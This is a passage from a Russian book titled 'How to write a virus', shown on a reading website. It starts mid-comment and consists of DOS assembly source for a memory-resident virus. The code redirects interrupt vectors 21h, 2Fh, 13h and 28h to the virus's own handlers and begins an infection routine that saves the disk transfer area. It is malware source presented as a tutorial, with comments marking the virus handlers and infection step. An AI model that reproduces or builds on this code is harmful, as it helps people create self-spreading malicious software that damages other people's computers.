"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h

mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh

mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h

mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti

jmp fresh_bytes ;Установка
;завершена ...

infect: push cs
pop ds

mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax

cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход

all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )

mov bp,bx

mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta